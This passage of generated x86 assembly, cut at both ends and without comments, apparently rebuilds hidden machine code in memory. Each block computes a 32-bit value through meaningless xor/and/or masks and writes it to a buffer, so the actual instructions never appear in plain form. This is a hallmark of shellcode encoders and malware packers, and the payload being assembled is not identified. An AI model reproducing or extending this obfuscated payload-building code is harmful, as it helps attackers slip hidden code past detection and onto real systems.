xor eax, 0x363b6760
and eax, 0x12384407
or eax, 0xc9c001c0
mov dword [ebx], eax
add ebx, edx
and eax, 0x6bf26b79
xor eax, 0x6952cc31
and eax, 0x2000060
or eax, 0xc5000085
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1eb33e78
xor eax, 0x2925e941
and eax, 0x92c444
or eax, 0xf412001
mov dword [ebx], eax
add ebx, edx
and eax, 0x6763bee
or eax, 0x56d4ea3b
and eax, 0x44c60001
or eax, 0x1010000
mov dword [ebx], eax
add ebx, edx
or eax, 0x2ce7e7d4
or eax, 0x623ae222
and eax, 0xe187b4
or eax, 0x1808
mov dword [ebx], eax
add ebx, edx
or eax, 0x17b57e90
and eax, 0x45c700
or eax, 0xc8000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x18a43ab3
xor eax, 0x44290bd6
and eax, 0x461
or eax, 0x10890
mov dword [ebx], eax
add ebx, edx
xor eax, 0x303ea976
and eax, 0x10340587
or eax, 0x8ac04040
mov dword [ebx], eax
add ebx, edx
and eax, 0x7ca51883
xor eax, 0x3089a946
and eax, 0x81
or eax, 0xc7000002
mov dword [ebx], eax
add ebx, edx
xor eax, 0x595b5d0e
or eax, 0x3793f035
and eax, 0xa99dc05
or eax, 0x40040040
mov dword [ebx], eax
add ebx, edx
or eax, 0x5c054620
or eax, 0x601741c3
and eax, 0x44870001
or eax, 0x1400000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1ba283dd
and eax, 0x6583c0
or eax, 0x924c20
mov dword [ebx], eax
add ebx, edx
xor eax, 0x556c148f
and eax, 0x4401c300
or eax, 0x88440400
mov dword [ebx], eax
add ebx, edx
xor eax, 0xb96167b
and eax, 0x23c2571a
and eax, 0x110a
or eax, 0x865
mov dword [ebx], eax
add ebx, edx
xor eax, 0x414ca492
and eax, 0x414805c5
or eax, 0x26a04002
mov dword [ebx], eax
add ebx, edx
or eax, 0x7c182d21
or eax, 0x3857e904
and eax, 0x47000000
or eax, 0x80000010
mov dword [ebx], eax
add ebx, edx
or eax, 0x399df478
and eax, 0x1eb0cb44
and eax, 0x480c040
or eax, 0x80433005
mov dword [ebx], eax
add ebx, edx
or eax, 0x24b303e1
or eax, 0x477b59e9
and eax, 0x45c30000
or eax, 0x40000
mov dword [ebx], eax
add ebx, edx
and eax, 0x51e5a232
and eax, 0x1050000
or eax, 0x86cc4
mov dword [ebx], eax
add ebx, edx
or eax, 0x1e29b59c
and eax, 0x1c05c500
or eax, 0xe0400200
mov dword [ebx], eax
add ebx, edx
or eax, 0xfd18af3
xor eax, 0x7560a8b2
and eax, 0x501
or eax, 0x989e
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2c3cbd02
and eax, 0x380085
or eax, 0x42804542
mov dword [ebx], eax
add ebx, edx
xor eax, 0x12a349c0
and eax, 0x40000000
or eax, 0x87000058
mov dword [ebx], eax
add ebx, edx
and eax, 0x14b0580f
xor eax, 0x108c856e
and eax, 0x4848044
or eax, 0xa9103001
mov dword [ebx], eax
add ebx, edx
and eax, 0x29da8297
xor eax, 0x160b9ede
and eax, 0x58b0000
or eax, 0x40000000
mov dword [ebx], eax
add ebx, edx
and eax, 0x5115f3c1
and eax, 0x41010000
or eax, 0x3ab22de4
mov dword [ebx], eax
add ebx, edx
xor eax, 0x59dc3215
and eax, 0x90000
or eax, 0x45800000
mov dword [ebx], eax
add ebx, edx
and eax, 0x49447bd7
and eax, 0x40000000
or eax, 0x8c4d8be4
mov dword [ebx], eax
add ebx, edx
or eax, 0x4496235b
xor eax, 0xd931612
and eax, 0x81440d01
or eax, 0x8a04002
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6b2e6f50
and eax, 0xca0041
or eax, 0x921cc0c
mov dword [ebx], eax
add ebx, edx
xor eax, 0x601ed7de
xor eax, 0x525b2d10
and eax, 0x38c1483
or eax, 0x80404108
mov dword [ebx], eax
add ebx, edx
and eax, 0x3915a5f4
and eax, 0x1000180
or eax, 0x54890042
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7776bf2f
and eax, 0x458acc
or eax, 0xcc000100
mov dword [ebx], eax
add ebx, edx
or eax, 0x732df7bd
and eax, 0xf204539
or eax, 0x900002
mov dword [ebx], eax
add ebx, edx
or eax, 0x7dc26492
or eax, 0x252ebd91
and eax, 0xed89
or eax, 4
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4c9aed2b
and eax, 0x44080000
or eax, 0x80458b00
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6512c153
or eax, 0x233c7a93
and eax, 0x81016883
or eax, 0x8008100
mov dword [ebx], eax
add ebx, edx
or eax, 0x7424f041
and eax, 0x5501c041
or eax, 0x8a040c
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7e6f711b
and eax, 0x1c08154
or eax, 0x202a0
mov dword [ebx], eax
add ebx, edx
and eax, 0x1f8d5b9c
and eax, 0x507e2a3e
and eax, 0
or eax, 0x8bf45589
mov dword [ebx], eax
add ebx, edx
and eax, 0x680357b9
and eax, 0x5401
or eax, 0x450b8844
mov dword [ebx], eax
add ebx, edx
or eax, 0x1f08c6c3
or eax, 0x6175e422
and eax, 0xb0c74e0
or eax, 0x80000118
mov dword [ebx], eax
add ebx, edx
xor eax, 0x760c899f
and eax, 0xad00e845
or eax, 0x20f0008
mov dword [ebx], eax
add ebx, edx
or eax, 0x135eccc2
and eax, 0xd1be04d
or eax, 0x40200000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2f785230
or eax, 0x62a51066
and eax, 0x2013070
or eax, 0x89084d80
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6ceaedc4
or eax, 0x3f5e5587
and eax, 0xea83d015
or eax, 0x2040
mov dword [ebx], eax
add ebx, edx
and eax, 0x74feec0d
and eax, 0x60008001
or eax, 0x90550900
mov dword [ebx], eax
add ebx, edx
xor eax, 0x73c6f6fe
and eax, 0x390458b
or eax, 0x20440000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x21c59d3
xor eax, 0x2f1bd525
and eax, 0x413c045
or eax, 0x41280000
mov dword [ebx], eax
add ebx, edx
or eax, 0x14b85527
xor eax, 0x1db555b1
and eax, 0x80200d4
or eax, 0x83117c28
mov dword [ebx], eax
add ebx, edx
or eax, 0x6fc6906b
or eax, 0x38e32654
and eax, 0x4d33e04d
or eax, 0
mov dword [ebx], eax
add ebx, edx
or eax, 0x658541ee
and eax, 0x91460e0
or eax, 0x82001410
mov dword [ebx], eax
add ebx, edx
and eax, 0x171dc46d
and eax, 0x1004040
or eax, 0x5423a815
mov dword [ebx], eax
add ebx, edx
or eax, 0x5e8f4cef
and eax, 0x440528d8
or eax, 0x80501300
mov dword [ebx], eax
add ebx, edx
or eax, 0x581ba5e1
and eax, 0x440b0979
or eax, 0x1800004
mov dword [ebx], eax
add ebx, edx
or eax, 0xe05d796
and eax, 0x57c52c82
and eax, 0x1800080
or eax, 0x408358
mov dword [ebx], eax
add ebx, edx
or eax, 0x4bf858a6
and eax, 0x2583f643
and eax, 0x1804000
or eax, 0x8a580589
mov dword [ebx], eax
add ebx, edx
and eax, 0x7c52c6c3
and eax, 0xa39c1ec
and eax, 0
or eax, 0xc183bc4d
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6379e86d
xor eax, 0x276e9028
and eax, 0x84048000
or eax, 0x38490901
mov dword [ebx], eax
add ebx, edx
and eax, 0x27b65327
and eax, 0x20000101
or eax, 0x1bc0548a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x70f2c39
and eax, 0x84d3810
or eax, 0x1308045
mov dword [ebx], eax
add ebx, edx
xor eax, 0x44a35570
xor eax, 0x57650503
and eax, 0xa84006
or eax, 0x10405c1
mov dword [ebx], eax
add ebx, edx
and eax, 0x5c1244f8
xor eax, 0x4c83b492
and eax, 0x48000000
or eax, 0xa3000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3e0e0b2f
or eax, 0x2a9d485b
and eax, 0xac054307
or eax, 0x408400
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3bdb456f
or eax, 0x6b1a2c62
xor eax, eax
mov dword [ebx], eax
add ebx, edx
or eax, 0x641291b
and eax, 0x240010b
or eax, 0x9944480
mov dword [ebx], eax
add ebx, edx
or eax, 0x28c31c0
and eax, 0x8542441
or eax, 0x4208804
mov dword [ebx], eax
add ebx, edx
or eax, 0x2cd294bf
and eax, 0xce40c8b
or eax, 0x3084100
mov dword [ebx], eax
add ebx, edx
and eax, 0xb335aec
and eax, 0x55bdd0ac
and eax, 0x1004088
or eax, 0x3adc0d27
mov dword [ebx], eax
add ebx, edx
xor eax, 0x54183852
and eax, 0x844644d
or eax, 0x10388000
mov dword [ebx], eax
add ebx, edx
or eax, 0x604de54c
and eax, 0x38644509
or eax, 0x3801082
mov dword [ebx], eax
add ebx, edx
and eax, 0x15aa5cd8
and eax, 0x204400
or eax, 0x85d8055
mov dword [ebx], eax
add ebx, edx
and eax, 0x2f9fdda8
or eax, 0x38bbea29
and eax, 0x38884409
or eax, 0x3400182
mov dword [ebx], eax
add ebx, edx
xor eax, 0x495cfbf7
or eax, 0x5ec81c70
and eax, 0x85cb444
or eax, 0x204001
mov dword [ebx], eax
add ebx, edx
or eax, 0x1f3e38c
and eax, 0x1e84589
or eax, 0x22000802
mov dword [ebx], eax
add ebx, edx
and eax, 0x313fb24d
and eax, 0x20200009
or eax, 0x1c54bc44
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6150b4ba
and eax, 0x19240083
or eax, 0x22d05508
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7b3581f2
xor eax, 0x68bc9b41
and eax, 0x87c4010
or eax, 0xa045
mov dword [ebx], eax
add ebx, edx
or eax, 0xa40b384
or eax, 0x58a7021d
and eax, 0x2e44189
or eax, 0x21000402
mov dword [ebx], eax
add ebx, edx
and eax, 0x1d04bb54
and eax, 0x40000
or eax, 0x2c70d445
mov dword [ebx], eax
add ebx, edx
or eax, 0x1a069cb3
and eax, 0x9841b9f
and eax, 0x883
or eax, 0x33b84508
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6f1aa19e
and eax, 0x4c22e405
or eax, 0x1191048
mov dword [ebx], eax
add ebx, edx
and eax, 0x5d177f8b
and eax, 0x4e74d4cf
and eax, 0x8005408
or eax, 0x830829f0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x34a8ebb4
and eax, 0x5dea305c
and eax, 0x15201044
or eax, 0x401ba411
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3bbc246e
and eax, 0xa001038
or eax, 0x81106cc0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x241b3612
and eax, 0x50b4040
or eax, 0x40309405
mov dword [ebx], eax
add ebx, edx
or eax, 0x43db6ddd
and eax, 0x3087cdc
or eax, 0x88000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0xedae4e8
or eax, 0x166f5908
and eax, 0x53bc00c
or eax, 0x48002041
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7afcb737
and eax, 0x3015540
or eax, 0x88082880
mov dword [ebx], eax
add ebx, edx
and eax, 0x39711470
and eax, 0x10440
or eax, 0xc282e815
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3ebb1fb1
and eax, 0xec108100
or eax, 0x450801
mov dword [ebx], eax
add ebx, edx
or eax, 0x7b5b6c53
and eax, 0x60d6fea1
and eax, 0x544401
or eax, 0x83a0018a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x8e2f386
or eax, 0x3710247d
and eax, 0x5000040
or eax, 0x40890180
mov dword [ebx], eax
add ebx, edx
or eax, 0x99c15a2
and eax, 0x4c9c01e0
or eax, 0xb262e814
mov dword [ebx], eax
add ebx, edx
and eax, 0x7d2aa661
and eax, 0x4c0aa060
or eax, 0x1815f9f
mov dword [ebx], eax
add ebx, edx
or eax, 0x259fee1d
xor eax, 0x64b44c33
and eax, 0x12981cc
or eax, 0x46c00030
mov dword [ebx], eax
add ebx, edx
or eax, 0x7830e8b6
and eax, 0x2a743c84
and eax, 0x8000000
or eax, 0x81000032
mov dword [ebx], eax
add ebx, edx
and eax, 0x64cc49b9
and eax, 0
or eax, 0x558bfc4d
mov dword [ebx], eax
add ebx, edx
or eax, 0x23fed82b
xor eax, 0x152ea6df
and eax, 0x605102b0
or eax, 0x9c040148
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6128f239
and eax, 0x89785181
or eax, 0x62800408
mov dword [ebx], eax
add ebx, edx
or eax, 0x4fc6f7ea
and eax, 0x3a830d9b
and eax, 0x28000109
or eax, 0xd0458a00
mov dword [ebx], eax
add ebx, edx
and eax, 0x230e0251
or eax, 0x5179b870
and eax, 0x1018001
or eax, 0x88004082
mov dword [ebx], eax
add ebx, edx
and eax, 0x47bf021d
or eax, 0x3908c5f4
and eax, 0x909c045
or eax, 0x44823800
mov dword [ebx], eax
add ebx, edx
and eax, 0x42c58025
or eax, 0x5b76c5b5
and eax, 0x104501b0
or eax, 0xa4083a48
mov dword [ebx], eax
add ebx, edx
xor eax, 0x424cd7c4
and eax, 0x18c0c
or eax, 0x980103
mov dword [ebx], eax
add ebx, edx
and eax, 0x7ba213e0
xor eax, 0x7d23a821
and eax, 0x55830000
or eax, 0x80000
mov dword [ebx], eax
add ebx, edx
or eax, 0x474a9e7a
and eax, 0x7d090437
and eax, 0x44010030
or eax, 0xa8543bc4
mov dword [ebx], eax
add ebx, edx
xor eax, 0x556a1af9
and eax, 0x10b200c
or eax, 0x44801470
mov dword [ebx], eax
add ebx, edx
and eax, 0xfd0932f
and eax, 0x5800004
or eax, 0x402f0fd0
mov dword [ebx], eax
add ebx, edx
or eax, 0x6bc4b23f
and eax, 0x84589c8
or eax, 0x90000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x5358ffdf
and eax, 0x89404d8b
or eax, 0x800000
mov dword [ebx], eax
add ebx, edx
and eax, 0x740bbf71
and eax, 0x401
or eax, 0x558b904c
mov dword [ebx], eax
add ebx, edx
and eax, 0x153ea9a5
and eax, 0x1028000
or eax, 0xc003c8
mov dword [ebx], eax
add ebx, edx
and eax, 0x2c2b1f4b
and eax, 0x108
or eax, 0x8bc85481
mov dword [ebx], eax
add ebx, edx
and eax, 0x4c0ae2d1
and eax, 0x80001
or eax, 0x45339844
mov dword [ebx], eax
add ebx, edx
xor eax, 0x64169c5b
xor eax, 0x16854f0a
and eax, 0x3004814
or eax, 0x88133480
mov dword [ebx], eax
add ebx, edx
or eax, 0x15aabaf
and eax, 0x2dc89673
and eax, 0x9008001
or eax, 0x4433684c
mov dword [ebx], eax
add ebx, edx
xor eax, 0x70940a26
and eax, 0x18052240
or eax, 0xc0481980
mov dword [ebx], eax
add ebx, edx
xor eax, 0xa8aa631
or eax, 0x1b0eae3e
and eax, 0x518b087c
or eax, 0x4000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x285cc0e9
and eax, 0x518a9686
and eax, 0x50000084
or eax, 0x88553b58
mov dword [ebx], eax
add ebx, edx
or eax, 0x5aba2c91
and eax, 0x408b195d
or eax, 0x5000020
mov dword [ebx], eax
add ebx, edx
or eax, 0x78d45090
xor eax, 0x4e1e7178
and eax, 0x20412884
or eax, 0xc0041368
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2d81e86c
and eax, 0x4d800000
or eax, 0xb087c
mov dword [ebx], eax
add ebx, edx
and eax, 0x7b5b7f4a
xor eax, 0x2ad64a3e
and eax, 0x404d0250
or eax, 0x80003988
mov dword [ebx], eax
add ebx, edx
or eax, 0x439cca11
and eax, 0x41890959
or eax, 0x14020024
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7b09ab3d
and eax, 0x828240
or eax, 0x16801ac
mov dword [ebx], eax
add ebx, edx
or eax, 0x7df52c73
and eax, 0x9ec0589
or eax, 0x82005000
mov dword [ebx], eax
add ebx, edx
and eax, 0x7a0c90a6
xor eax, 0x7c8af9a5
and eax, 0x4082e805
or eax, 0x80011440
mov dword [ebx], eax
add ebx, edx
xor eax, 0xfd53803
and eax, 0xcc448000
or eax, 0x30010901
mov dword [ebx], eax
add ebx, edx
xor eax, 0x11584c07
and eax, 0x81044502
or eax, 0x2e00889
mov dword [ebx], eax
add ebx, edx
or eax, 0x2f366722
and eax, 0xd800181
or eax, 0x40090040
mov dword [ebx], eax
add ebx, edx
and eax, 0x69b31387
xor eax, 0x3a3ec7a5
and eax, 0x30158224
or eax, 0x804009c0
mov dword [ebx], eax
add ebx, edx
or eax, 0x6bb260f6
and eax, 0x8901c282
or eax, 1
mov dword [ebx], eax
add ebx, edx
xor eax, 0x58ebf6ff
and eax, 0x418a3054
or eax, 0x4018001
mov dword [ebx], eax
add ebx, edx
and eax, 0x244a31b1
and eax, 0x80010
or eax, 0x1e083c0
mov dword [ebx], eax
add ebx, edx
or eax, 0x60aa232e
xor eax, 0x34e81eb
and eax, 0x2800001
or eax, 0x89504588
mov dword [ebx], eax
add ebx, edx
xor eax, 0x39f0a826
and eax, 0x8000cc0d
or eax, 0x41831040
mov dword [ebx], eax
add ebx, edx
xor eax, 0x70f58bc0
xor eax, 0x190ab252
and eax, 0x884c8101
or eax, 0x54010800
mov dword [ebx], eax
add ebx, edx
and eax, 0xbe07b7c
and eax, 0x400100
or eax, 0x83a4548b
mov dword [ebx], eax
add ebx, edx
and eax, 0x20daa928
and eax, 0x800100
or eax, 0x550900c2
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7eb86170
and eax, 0x200100a0
or eax, 0xc4448b44
mov dword [ebx], eax
add ebx, edx
or eax, 0x17661689
and eax, 0x81018081
or eax, 0x8004002
mov dword [ebx], eax
add ebx, edx
and eax, 0x6f0d4b3a
and eax, 0x14000
or eax, 0x52e8a445
mov dword [ebx], eax
add ebx, edx
or eax, 0x51d78d2d
and eax, 0xe6b301a
and eax, 0x26b2008
or eax, 0x8994dff7
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4591bff4
xor eax, 0x2868232d
and eax, 0xc0000004
or eax, 0x1811849
mov dword [ebx], eax
add ebx, edx
or eax, 0x7bebf58b
xor eax, 0x55209324
and eax, 0x62
or eax, 0x8100
mov dword [ebx], eax
add ebx, edx
or eax, 0x36148571
and eax, 0x1232e3a1
and eax, 0x10008101
or eax, 0x29ad7080
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1662e25a
and eax, 0x3614883b
and eax, 0x20000000
or eax, 0xc1810000
mov dword [ebx], eax
add ebx, edx
and eax, 0x158dddb6
and eax, 0x32f014a5
and eax, 0
or eax, 0xf816
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5d65c480
or eax, 0x266aaedb
and eax, 0x6868b081
or eax, 0x104100
mov dword [ebx], eax
add ebx, edx
and eax, 0x683bf509
or eax, 0x100893e9
and eax, 0x50080000
or eax, 0x5830000
mov dword [ebx], eax
add ebx, edx
and eax, 0x6d81c5a6
xor eax, 0x6e364487
and eax, 0x21a20004
or eax, 0x14408110
mov dword [ebx], eax
add ebx, edx
or eax, 0x64b3a292
xor eax, 0x6ef37587
and eax, 0x1000010
or eax, 0x80000064
mov dword [ebx], eax
add ebx, edx
or eax, 0xeeb3075
xor eax, 0x6c417d17
and eax, 0xaa0442
or eax, 0x451080
mov dword [ebx], eax
add ebx, edx
xor eax, 0x295c62b8
xor eax, 0x50f8d6e5
and eax, 0x31428000
or eax, 0x2b00100
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2f5108af
xor eax, 0x2717e03f
and eax, 0x8000100
or eax, 0x8000002f
mov dword [ebx], eax
add ebx, edx
and eax, 0x587095f6
and eax, 2
or eax, 0x1df888
mov dword [ebx], eax
add ebx, edx
and eax, 0x5d5bc7d8
and eax, 0x18000
or eax, 0x10440b00
mov dword [ebx], eax
add ebx, edx
xor eax, 0x72b56f9a
and eax, 0x90a008
or eax, 0xa1a05
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1cecb9d9
and eax, 0x18100100
or eax, 0x2082c00
mov dword [ebx], eax
add ebx, edx
and eax, 0x45d6d064
and eax, 0x100000
or eax, 0x8b250000
mov dword [ebx], eax
add ebx, edx
and eax, 0x29246b23
and eax, 0x9240000
or eax, 0x824965ac
mov dword [ebx], eax
add ebx, edx
or eax, 0x4572bf21
xor eax, 0x6e91c6bb
and eax, 0x81801804
or eax, 0x40010049
mov dword [ebx], eax
add ebx, edx
xor eax, 0x27b16484
and eax, 0x5808
or eax, 0x216
mov dword [ebx], eax
add ebx, edx
or eax, 0x744fcd8c
and eax, 0x7aa0e8e6
and eax, 0x2000c080
or eax, 0xa523101
mov dword [ebx], eax
add ebx, edx
or eax, 0x1e3d384f
and eax, 0x56b595f2
and eax, 0x10000
or eax, 0x81880001
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1de8a8f9
and eax, 0x8f8
or eax, 0x1500
mov dword [ebx], eax
add ebx, edx
xor eax, 0x23a2c15b
and eax, 0x1005483
or eax, 0x80180108
mov dword [ebx], eax
add ebx, edx
or eax, 0x6eabeaa0
and eax, 0x1310f82
or eax, 0x40040
mov dword [ebx], eax
add ebx, edx
and eax, 0x6d285291
and eax, 0x1200000
or eax, 0x12c28100
mov dword [ebx], eax
add ebx, edx
and eax, 0x6533af52
and eax, 0x46b8857c
and eax, 0
or eax, 0x810000ca
mov dword [ebx], eax
add ebx, edx
or eax, 0x3e6a76f1
and eax, 0x50f2
or eax, 0x8900
mov dword [ebx], eax
add ebx, edx
or eax, 0x362534c1
xor eax, 0x5dfb841a
and eax, 0x440900
or eax, 0x10018200
mov dword [ebx], eax
add ebx, edx
and eax, 0x7b4c7a3d
and eax, 0x440800
or eax, 0xb2f50d
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2c742a40
and eax, 0x24821500
or eax, 0xd3652000
mov dword [ebx], eax
add ebx, edx
and eax, 0x63832703
and eax, 0x3d559a8e
and eax, 0
or eax, 0x90880000
mov dword [ebx], eax
add ebx, edx
or eax, 0x4e6f2382
and eax, 0x180
or eax, 0x1c78
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4bfa207c
xor eax, 0x1bc8f38f
and eax, 0x104c0b
or eax, 0x810c0180
mov dword [ebx], eax
add ebx, edx
or eax, 0x49181fa4
and eax, 0x45689
or eax, 0x238040
mov dword [ebx], eax
add ebx, edx
or eax, 0x31487249
and eax, 0x618000
or eax, 0x84900100
mov dword [ebx], eax
add ebx, edx
and eax, 0x2a54ab4c
or eax, 0x19d7f35
and eax, 0x1417501
or eax, 0x8a200082
mov dword [ebx], eax
add ebx, edx
or eax, 0x2c74353e
xor eax, 0x5328468b
and eax, 0xf0010014
or eax, 0x2800c41
mov dword [ebx], eax
add ebx, edx
xor eax, 0x15f9f249
or eax, 0x117774be
and eax, 0x400
or eax, 0x40
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3f4d5e27
or eax, 0x7466ce39
and eax, 0x146ad201
or eax, 0x80102080
mov dword [ebx], eax
add ebx, edx
or eax, 0x1afd61c2
xor eax, 0x303df44e
and eax, 0x8a800000
or eax, 0x90000
mov dword [ebx], eax
add ebx, edx
or eax, 0x4109964
or eax, 0x758c37b2
and eax, 0x1df0
or eax, 8
mov dword [ebx], eax
add ebx, edx
or eax, 0x3e47b0a
xor eax, 0x412aa3a3
and eax, 0xc4409
or eax, 0x25100182
mov dword [ebx], eax
add ebx, edx
and eax, 0x1643ad6e
and eax, 0x500
or eax, 0x2af5
mov dword [ebx], eax
add ebx, edx
or eax, 0x62f22c5
xor eax, 0x4cf25904
and eax, 0x42491431
or eax, 0x21008804
mov dword [ebx], eax
add ebx, edx
and eax, 0x592d341d
and eax, 0x90001
or eax, 0x18448b60
mov dword [ebx], eax
add ebx, edx
or eax, 0x5b4c06b1
and eax, 0x7ab42139
and eax, 0x50040101
or eax, 0x257ac880
mov dword [ebx], eax
add ebx, edx
or eax, 0x389cf5e6
and eax, 0x41800000
or eax, 0x80010000
mov dword [ebx], eax
add ebx, edx
or eax, 0x5b023e2f
and eax, 0x76f930ff
and eax, 0x300b
or eax, 0xac0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x67987f6f
or eax, 0x45d10a88
and eax, 0x20494180
or eax, 0x1004b001
mov dword [ebx], eax
add ebx, edx
and eax, 0x6a5c6574
and eax, 0x56c8fb51
and eax, 0x80000
or eax, 0x81810001
mov dword [ebx], eax
add ebx, edx
or eax, 0x5afa3e18
and eax, 0x1c18
or eax, 0x1e0
mov dword [ebx], eax
add ebx, edx
or eax, 0x2fd820cb
and eax, 0x108158b
or eax, 0x80004000
mov dword [ebx], eax
add ebx, edx
or eax, 0x1fa343f7
xor eax, 0x5eb99e5d
and eax, 0x102c182
or eax, 0xc81040
mov dword [ebx], eax
add ebx, edx
or eax, 0x17a4103b
and eax, 0x7e28100
or eax, 0x28100000
mov dword [ebx], eax
add ebx, edx
or eax, 0x36a46afe
or eax, 0x91ad9fb
and eax, 0xb6c4083
or eax, 0x80000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x205c54ed
and eax, 0xaa241445
or eax, 0x40010800
mov dword [ebx], eax
add ebx, edx
or eax, 0x6983c7bd
xor eax, 0x5f6e33f6
and eax, 0x34000009
or eax, 0x1000054
mov dword [ebx], eax
add ebx, edx
or eax, 0x12d77c87
and eax, 0x54c0
or eax, 0x20
mov dword [ebx], eax
add ebx, edx
and eax, 0x2b148d85
xor eax, 0x609f664b
and eax, 0x980089
or eax, 0x1d609000
mov dword [ebx], eax
add ebx, edx
or eax, 0x568ccd8f
xor eax, 0x273ab73d
and eax, 0x48820000
or eax, 0x5090000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7558d168
and eax, 0x30c18140
or eax, 0x86280090
mov dword [ebx], eax
add ebx, edx
or eax, 0x2406291b
and eax, 0x8000009a
or eax, 0x9000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x48f170e1
and eax, 0x41815049
or eax, 0x140a8004
mov dword [ebx], eax
add ebx, edx
xor eax, 0x55363d4b
and eax, 0x150100
or eax, 0xd04002e8
mov dword [ebx], eax
add ebx, edx
or eax, 0x1e78f0ce
and eax, 0xca685188
or eax, 0x21800401
mov dword [ebx], eax
add ebx, edx
and eax, 0x673197c4
and eax, 0x60000100
or eax, 0x88458a09
mov dword [ebx], eax
add ebx, edx
xor eax, 0x678d0e28
and eax, 0x89008001
or eax, 0x14082
mov dword [ebx], eax
add ebx, edx
and eax, 0x43cdf40
and eax, 0xc000
or eax, 0x4d8b2845
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1afe0ac7
or eax, 0x48ad01e
and eax, 0x404d3288
or eax, 0xa0000960
mov dword [ebx], eax
add ebx, edx
or eax, 0xec84357
and eax, 0xc5090f
or eax, 0x228400
mov dword [ebx], eax
add ebx, edx
xor eax, 0x16f6c5f6
or eax, 0x3bfc4bd3
and eax, 0x15890000
or eax, 0x40020000
mov dword [ebx], eax
add ebx, edx
or eax, 0x51db04c2
and eax, 0x1ca00c0
or eax, 0x208330
mov dword [ebx], eax
add ebx, edx
or eax, 0x22839c56
and eax, 0x3e01580
or eax, 0x88104009
mov dword [ebx], eax
add ebx, edx
or eax, 0xfe6fc98
and eax, 0x8882fc01
or eax, 0x60010044
mov dword [ebx], eax
add ebx, edx
xor eax, 0x14aea7f0
and eax, 0xfc050901
or eax, 0x408000
mov dword [ebx], eax
add ebx, edx
or eax, 0x4ff5dfb3
and eax, 0xbb44d83
or eax, 0x80008
mov dword [ebx], eax
add ebx, edx
or eax, 0x775b1441
and eax, 0x49754449
or eax, 0x8004
mov dword [ebx], eax
add ebx, edx
and eax, 0x32dbb041
and eax, 0x500001
or eax, 0xfa0558a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x426ddbaf
and eax, 0x2a29f3c5
and eax, 0x8000004
or eax, 0x81d055ab
mov dword [ebx], eax
add ebx, edx
and eax, 0x1bf59e62
or eax, 0x387912ba
and eax, 0x1891010
or eax, 0x44028045
mov dword [ebx], eax
add ebx, edx
and eax, 0x64995b1a
xor eax, 0x76bb1620
and eax, 0x30
or eax, 0x8c458980
mov dword [ebx], eax
add ebx, edx
xor eax, 0x30c45103
and eax, 0x80804883
or eax, 0x3500508
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4cc66e21
and eax, 0x2fe682c4
and eax, 0xd000080
or eax, 0x40890141
mov dword [ebx], eax
add ebx, edx
xor eax, 0x79f422bf
and eax, 0x10550350
or eax, 0x80008880
mov dword [ebx], eax
add ebx, edx
and eax, 0x40e0c55a
or eax, 0x13b9fc41
and eax, 0x11885511
or eax, 0x6c04002a
mov dword [ebx], eax
add ebx, edx
and eax, 0x17da422b
and eax, 8
or eax, 0xc8458b00
mov dword [ebx], eax
add ebx, edx
or eax, 0x2c52f486
and eax, 0x6c10450a
or eax, 0x10a80031
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3e4024c0
xor eax, 0x438a8d02
and eax, 0x408820
or eax, 0xcc0d0300
mov dword [ebx], eax
add ebx, edx
xor eax, 0x38fe7a18
or eax, 0x8da0074
and eax, 0x88f04130
or eax, 0x1040c03
mov dword [ebx], eax
add ebx, edx
or eax, 0x3bb134c0
and eax, 0x11810841
or eax, 0x440a800c
mov dword [ebx], eax
add ebx, edx
xor eax, 0xa9e9dff
or eax, 0x18053a1a
and eax, 0x4150998
or eax, 0x80408040
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2be2c7bc
and eax, 0x83b44400
or eax, 0x40018b
mov dword [ebx], eax
add ebx, edx
or eax, 0x4dbeeb72
and eax, 0x4cd23645
and eax, 0x44800040
or eax, 0x10901a8
mov dword [ebx], eax
add ebx, edx
and eax, 0x3e85dc56
xor eax, 0xbbd1a69
and eax, 0x80c0a20
or eax, 0x804181d4
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2d2832d6
or eax, 0x27623d6b
